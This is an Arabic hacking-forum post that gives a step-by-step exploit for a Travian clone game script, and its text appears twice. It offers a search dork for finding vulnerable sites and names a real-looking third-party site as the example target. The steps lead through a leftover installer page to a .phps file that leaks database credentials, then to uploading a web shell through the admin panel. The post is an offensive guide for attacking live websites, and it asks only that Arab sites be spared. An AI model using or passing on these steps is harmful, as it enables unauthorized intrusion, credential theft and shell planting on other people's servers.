عوده بقوه ~ ثغرة بسكربت ترافيان المطور
بسم الله الرحمن الرحيمـ
السلام عليكم ورحمة الله وبركاته
..
..
..
بعد ركود طويل عن الهكر قلت لا ترجع الا بيدك شي حلو
وبعد البحث والتدقيق لقيت ثغرة بسكربت
( ترافيان v2 المطور ) << اخر نسخه مو عاقل الولد خخخ
..
..
..
يلا نبدء على بكرة الله
الدورك :
كود:
"© 2004 - 2010 Travian Clone Games Rev 3.0"طبعا المواقع المصابه بالهبل سواء ( مواقع اجنبيه و عربيه )
اتمنى عدم استهداف العرب
ناخذ مثال على موقع اجنبي
www.lagronsinc.com/kingdoms
السكربت في مجلد kingdoms
الأن الاستغلال
كود:
install_v2/?s=4الاستغلال كامل
www.lagronsinc.com/kingdoms/install_v2/?s=4
اذا ظهرت لك الصفحه تمام واذا ما ظهرت معناه مرقعه
الأن روح المسار التالي
كود:
/install_v2/include/constant.phpsيصير الرابط في الاخير كذا
http://www.lagronsinc.com/kingdoms/i.../constant.phps
وش تشوف ؟!
//SQL Server Defination
define("SQL_SERVER", "localhost");
define("SQL_USER", "user_xxxxxxx");
define("SQL_PASS", "xxxxxxxx");
define("SQL_DB", "db_xxxxxxxx");
define("TB_PREFIX", "s1_");
define("DB_TYPE", 0); // 0 = MYSQL, 1 = MYSQLi
كل الي عليك انك تستعمل اي برنامج اتصال بالقاعده
مثل برنامج : navicat
وترفع شل من اللوحه
Admin/Admin.php
السلام عليكم ورحمة الله وبركاته
..
..
..
بعد ركود طويل عن الهكر قلت لا ترجع الا بيدك شي حلو
وبعد البحث والتدقيق لقيت ثغرة بسكربت
( ترافيان v2 المطور ) << اخر نسخه مو عاقل الولد خخخ
..
..
..
يلا نبدء على بكرة الله
الدورك :
كود:
"© 2004 - 2010 Travian Clone Games Rev 3.0"طبعا المواقع المصابه بالهبل سواء ( مواقع اجنبيه و عربيه )
اتمنى عدم استهداف العرب
ناخذ مثال على موقع اجنبي
www.lagronsinc.com/kingdoms
السكربت في مجلد kingdoms
الأن الاستغلال
كود:
install_v2/?s=4الاستغلال كامل
www.lagronsinc.com/kingdoms/install_v2/?s=4
اذا ظهرت لك الصفحه تمام واذا ما ظهرت معناه مرقعه
الأن روح المسار التالي
كود:
/install_v2/include/constant.phpsيصير الرابط في الاخير كذا
http://www.lagronsinc.com/kingdoms/i.../constant.phps
وش تشوف ؟!
//SQL Server Defination
define("SQL_SERVER", "localhost");
define("SQL_USER", "user_xxxxxxx");
define("SQL_PASS", "xxxxxxxx");
define("SQL_DB", "db_xxxxxxxx");
define("TB_PREFIX", "s1_");
define("DB_TYPE", 0); // 0 = MYSQL, 1 = MYSQLi
كل الي عليك انك تستعمل اي برنامج اتصال بالقاعده
مثل برنامج : navicat
وترفع شل من اللوحه
Admin/Admin.php
اسم الموضوع : عوده بقوه ~ ثغرة بسكربت ترافيان المطور
|
المصدر : قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات
